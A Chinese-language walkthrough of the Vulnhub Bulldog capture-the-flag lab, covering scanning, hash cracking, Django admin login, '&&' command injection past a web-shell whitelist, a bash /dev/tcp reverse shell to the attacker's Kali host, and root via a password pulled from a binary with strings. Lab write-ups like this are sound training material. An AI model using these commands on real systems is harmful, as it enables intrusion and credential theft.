Vulnhub Bulldog靶机

牛头犬行业最近的网站被恶意的德国牧羊犬黑客破坏。这是否意味着有更多漏洞可以利用?你为什么找不到呢?
Boot-to-Root目标是进入root目录并看到祝贺消息

运行环境

靶机:用VirtualBox启动虚机,导入镜像,网络连接方式设置为桥接到无线网卡。靶机启动后,自动获得IP:192.168.199.184
Kali攻击机:VMWare启动虚机,桥接到无线网卡,自动获取IP:192.168.199.237

目标

获得root权限和flag

工具

netdiscover
dirb
hashid
nc
strings

信息收集

使用如下命令发现目标IP:192.168.199.184在正常情况下这个步骤是可以省略的,因为靶机启动后,会自动获得IP,并且显示在启动完成后的界面!
netdiscover -r 192.168.199.0/24

我们对目标IP使用Nmap进行一下端口的扫描,看看都运行了哪些服务
nmap -sSVC -T4 --top-ports 10000 192.168.199.184

我们得到了目标机器上开放了三个端口分别是23、80、8080,这里我们重点关注80和8080上的服务,我们先尝试访问目标开放的端口,发现如下情况哟

就目前所得到信息来看,我们下一步改做什么呢,用dirb去爆破一下网站的目录吧!看看能不能发现一些有用的东东
dirb http://192.168.199.184

漏洞挖掘

通过dirb的目录扫描发现了一些信息,看到一个很明显的http://192.168.199.184/admin/目录,发现是一个Django的后台登录页面,我们现在没有登录密码,先放下,暂时不用管

继续看看扫描出来的其他目录,http://192.168.199.184/dev/这个说了向新员工解释最后一页被黑客攻击的方式,新系统的设计,以及当前团队成员及其电子邮件地址的列表。从电子邮件中我们至少可以推断出用户名,这个方向才是登录Django管理页面的正确方向

通过一些CTF的小常识我们知道,这种情况下我们习惯性的去看网页的源代码,我们来试试,发现了新东西,看到了嘛那是一串hash

现在我们可以把hash提取出来然后拿到相关网站进行解密,在解密前我们需要确定下它是什么hash这里可以使用kali中再带一个小工具hashid来完成分析

最有可能是一个SHA1,那么这里我们使用hashkiller.co.uk来进行解密

Hashkiller立即给了我们两个结果

1
2
nick:bulldog 
sarah:bulldoglover


我们这里用用户名nick密码bulldogDjango管理页面进行登录,登录后发现没有什么东西

考虑到不同的用户会涉及不同的权限,退出nick用用户名sarah密码bulldoglover登录看看,发现跟用nick登录的一样

但是我们在访问http://192.168.199.184/dev/shell/时,发现了一个shellWeb界面,我们可以输入它列出的命令

获取权限

绕过白名单限制,执行系统命令
webshell页面只能执行白名单的命令,尝试&&连接,这样可以执行多个命令:
ls是白名单命令id是禁止命令,通过ls && id可成功执行id命令,达到绕过白名单限制执行命令的目的

这里既然可以拼接命令了,那么我么就可以用echo "bash -i >& /dev/tcp/192.168.199.237/4444 0>&1" | bash来反弹shell
首先我们在kali中才开监听

1
nc -lvnp 4444


然后在webshell页面执行如下命令

1
bashecho "bash -i >& /dev/tcp/192.168.199.237/4444 0>&1" | bash`


成功反弹回shell

权限提升

查看有哪些系统用户 cat /etc/passwd 发现需要关注的用户有:bulldogadmin、django

查找每个用户的文件(不显示错误) find / -user bulldogadmin 2>/dev/null发现值得关注的文件有:一个是note一个是customPermissionApp

1
2
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

打开note文本文件

1
less /home/bulldogadmin/.hiddenadmindirectory/note

发现提示webserver有时需要root权限访问

打开customPermissionApp

1
less /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp


应该是个执行文件,使用strings打印其中的可打印字符

1
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp


拼接得到密码:

1
SUPERultHimatePASHSWORDyouHCANTget

最后执行sudo su -输入密码,获得root权限,cat congrats.txt查看文件,获取flag

汇总

1、Netdiscover

是一个主动/被动的 ARP侦查工具。该工具在不使用 DHCP的无线网络上非常有用。使用 Netdiscover工具可以在网络上扫描 IP地址,检查在线主机或搜索为它们发送的 ARP请求

2、hashid

hashID是用Python3写成,它通过正则表达式可识别220多种hash类型

3、绕过白名单限制,执行系统命令

尝试&&连接,这样可以执行多个命令,还发现了一篇命令执行绕过技巧的好文章